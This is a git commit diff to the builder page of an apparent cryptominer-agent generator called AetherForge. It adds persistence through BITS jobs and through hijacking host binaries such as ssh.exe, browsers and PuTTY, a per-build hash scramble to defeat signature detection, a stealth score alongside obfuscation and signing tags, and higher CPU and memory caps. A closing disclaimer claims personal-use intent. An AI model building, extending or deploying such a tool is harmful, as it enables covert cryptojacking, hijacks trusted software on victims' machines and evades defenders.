feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -27,6 +27,7 @@ import {
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
@@ -111,6 +112,7 @@ export default function BuilderPage() {
|
||||
const [building, setBuilding] = useState(false);
|
||||
const [error, setError] = useState('');
|
||||
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
|
||||
const [dispenseReveal, setDispenseReveal] = useState<BuildResponse | null>(null);
|
||||
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
@@ -270,6 +272,7 @@ export default function BuilderPage() {
|
||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||
setStage('Build complete!', 100);
|
||||
setLastBuild(result);
|
||||
setDispenseReveal(result);
|
||||
loadRecentBuilds();
|
||||
if (!forgedThisSessionRef.current) {
|
||||
forgedThisSessionRef.current = true;
|
||||
@@ -1414,13 +1417,13 @@ export default function BuilderPage() {
|
||||
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 95); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 85); }} />
|
||||
<FieldHint field="max_memory_percent" />
|
||||
</div>
|
||||
</div>
|
||||
@@ -1428,7 +1431,7 @@ export default function BuilderPage() {
|
||||
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
@@ -1642,9 +1645,35 @@ export default function BuilderPage() {
|
||||
<option value="user">Current User (Run key — persistence optional)</option>
|
||||
<option value="scheduled">Scheduled Task (logon task — persistence forced on)</option>
|
||||
<option value="service">Scheduled Task as SYSTEM (elevated — persistence forced on)</option>
|
||||
<option value="bits">BITS Job (notify hook — persistence forced on, Windows)</option>
|
||||
<option value="host_binary">Host Binary Hijack (replace client app — persistence forced on, Windows)</option>
|
||||
</select>
|
||||
<FieldHint field="run_as" />
|
||||
</div>
|
||||
{form.run_as === 'host_binary' && (
|
||||
<div className="form-group">
|
||||
<label className="label">Host Binary Target <HelpTip field="host_binary_target" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.host_binary_target || 'ssh'}
|
||||
onChange={(e) => updateField('host_binary_target', e.target.value)}
|
||||
>
|
||||
<option value="ssh">OpenSSH / Git SSH (ssh.exe)</option>
|
||||
<option value="ftp">FTP Client (ftp.exe)</option>
|
||||
<option value="telnet">Telnet (telnet.exe)</option>
|
||||
<option value="mstsc">Remote Desktop (mstsc.exe)</option>
|
||||
<option value="curl">curl (curl.exe)</option>
|
||||
<option value="notepad">Notepad</option>
|
||||
<option value="calc">Calculator</option>
|
||||
<option value="chrome">Google Chrome</option>
|
||||
<option value="edge">Microsoft Edge</option>
|
||||
<option value="firefox">Mozilla Firefox</option>
|
||||
<option value="putty">PuTTY</option>
|
||||
<option value="winscp">WinSCP</option>
|
||||
</select>
|
||||
<FieldHint field="host_binary_target" />
|
||||
</div>
|
||||
)}
|
||||
<div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.auto_start}
|
||||
@@ -2151,6 +2180,16 @@ export default function BuilderPage() {
|
||||
<FieldHint field="sign_build" />
|
||||
<ForgeLockedHint meta={fieldMeta.sign_build} />
|
||||
</div>
|
||||
<div className={`form-group checkbox-group ${fieldMeta.sigil_scramble?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.sigil_scramble !== false}
|
||||
disabled={fieldMeta.sigil_scramble?.disabled}
|
||||
onChange={(e) => updateField('sigil_scramble', e.target.checked)} />
|
||||
<span>Sigil scramble on dispense (unique hash per forge) <HelpTip field="sigil_scramble" /></span>
|
||||
</label>
|
||||
<FieldHint field="sigil_scramble" />
|
||||
<ForgeLockedHint meta={fieldMeta.sigil_scramble} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
@@ -2326,7 +2365,13 @@ export default function BuilderPage() {
|
||||
)}
|
||||
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
|
||||
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
|
||||
{lastBuild.sigil_scramble && <span className="forge-last-build-tag">SIGIL</span>}
|
||||
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
|
||||
{lastBuild.stealth_score != null && lastBuild.stealth_score > 0 && (
|
||||
<span className="forge-last-build-tag" title="Stealth index">
|
||||
{lastBuild.stealth_score}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<div className="forge-last-build-actions">
|
||||
@@ -2379,6 +2424,9 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{dispenseReveal?.success && (
|
||||
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
|
||||
)}
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
Reference in New Issue
Block a user